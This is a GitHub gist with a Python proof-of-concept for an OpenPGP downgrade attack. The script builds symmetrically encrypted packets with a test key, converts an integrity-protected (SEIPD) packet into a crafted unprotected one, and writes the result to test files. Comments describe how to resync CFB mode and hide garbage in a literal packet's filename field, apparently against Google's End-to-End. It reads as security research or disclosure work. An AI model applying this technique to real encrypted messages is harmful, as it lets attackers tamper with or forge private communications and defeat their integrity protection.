-
-
Save coruus/85dea6eb82897044f65d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
-----BEGIN PGP MESSAGE----- | |
Charset: UTF-8 | |
wwQECQAIpwAAawLiQYeMw7vdoPcZz3UU7Pbj/iDZslxABeTlSnc= | |
=/r2A | |
-----END PGP MESSAGE----- | |
""" | |
from __future__ import division, print_function | |
from binascii import hexlify, unhexlify | |
from hashlib import sha1, sha256 | |
from Crypto.Cipher import AES | |
#LITERAL = bytearray([ | |
# 0xc0 | 11, 1 + 4 + 1 + 4, 'u', 0, 0, 0, 0, 0, 'm', 'd', 'c', '?']) | |
LITERAL = bytearray([ | |
0x80 | (11 << 2) | 3, 'u', 0, 0, 0, 0, 0, 'm', 'd', 'c', '?']) | |
IV = '\x00' * 16 | |
prefix = IV + IV[14:16] | |
payload = bytes(prefix + LITERAL + '\xd3\x14') | |
mdc = sha1(payload).digest() | |
payload += mdc | |
KEY = sha256('test').digest()[:32] | |
padlen = 16 - (len(payload) % 16) | |
padded_payload = payload + '\x00'*padlen | |
SEIPD_PAYLOAD = AES.new(KEY, mode=AES.MODE_CFB, | |
IV='\x00'*16, segment_size=128).encrypt(padded_payload)[:len(payload)] | |
SEIPD = bytearray([ | |
0xc0 | 18, # SEIPD | |
len(SEIPD_PAYLOAD) + 1, 1]) + SEIPD_PAYLOAD | |
def xor(it1, it2): | |
return bytes(bytearray([x1 ^ x2 for x1, x2 | |
in zip(bytearray(it1), bytearray(it2))])) | |
SE_PAYLOAD = AES.new(KEY, mode=AES.MODE_OPENPGP, iv=IV).encrypt(bytes(LITERAL)) | |
#SE = bytearray([ | |
# 0x80 | (9 << 2) | 3]) + SE_PAYLOAD | |
SE = bytearray([0xc0 | 9, len(SE_PAYLOAD)]) + SE_PAYLOAD | |
SKESK = bytearray([ | |
0xc0 | 3, # SKESK | |
4, # len == 4 | |
0x04, # v4 | |
0x09, # AES-256 | |
0x00, # S2K simple | |
0x08 # SHA256 | |
]) | |
open('seipd.test', 'wb').write(SKESK + SEIPD) | |
open('se.test', 'wb').write(SKESK + SE) | |
twobytes = '\x00\x00' | |
twobytes = '\xf6\xe3' # magic, or 2^16 tries | |
recrux = bytes('\x00\x00' + SEIPD_PAYLOAD[0:16] | |
+ twobytes + SEIPD_PAYLOAD[18:18+len(LITERAL)]) | |
recruxpad = recrux + '\x00' * 32 | |
# Implementation in E2E. | |
derecrux = (AES.new(KEY, mode=AES.MODE_CFB, IV=recrux[2:18], | |
segment_size=128) | |
.decrypt(recruxpad[18:34])[:len(LITERAL)+2]) | |
#fullsync = AES.new(KEY, mode=AES.MODE_OPENPGP, | |
# IV=recrux[0:18]).decrypt(recrux[18:]) | |
#print(repr(fullsync)) PyCrypto does not like this very much... | |
print(repr(LITERAL)) | |
print(repr(derecrux)) | |
recrux_packet = SKESK + '\xa7' + recrux | |
open('recrux.test', 'wb').write(recrux_packet) | |
# And, alas, E2E doesn't care for uncompressed compressed packets. | |
# | |
# (But the downgrade attack otherwise works fine.) | |
# | |
# Assume, as before, that the target plaintext is known (since | |
# otherwise you can't usefully modify it). | |
# | |
# Here's how to make the attack work: Aim for an old-style literal | |
# packet with indeterminate length, followed by 'u' or 't'. Now, | |
# (using the known plaintext) write out a literal packet with a | |
# *filename length* sufficient to hide garbage (including part | |
# of the original literal packet). Resync to the prefix, and then | |
# go on from there. p=2^-15 | |
# | |
# (It seems to be at least 2^16 more difficult to do this if the resync | |
# is either explicitly or implicitly checked.) | |
result = """-----BEGIN PGP MESSAGE----- | |
Charset: UTF-8 | |
wwQECQAIpwAAawLiQYeMw7vdoPcZz3UU7Pbj/iDZslxABeTlSnc= | |
=/r2A | |
-----END PGP MESSAGE-----""" | |
print(repr([x for x in bytearray(recrux_packet)])) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment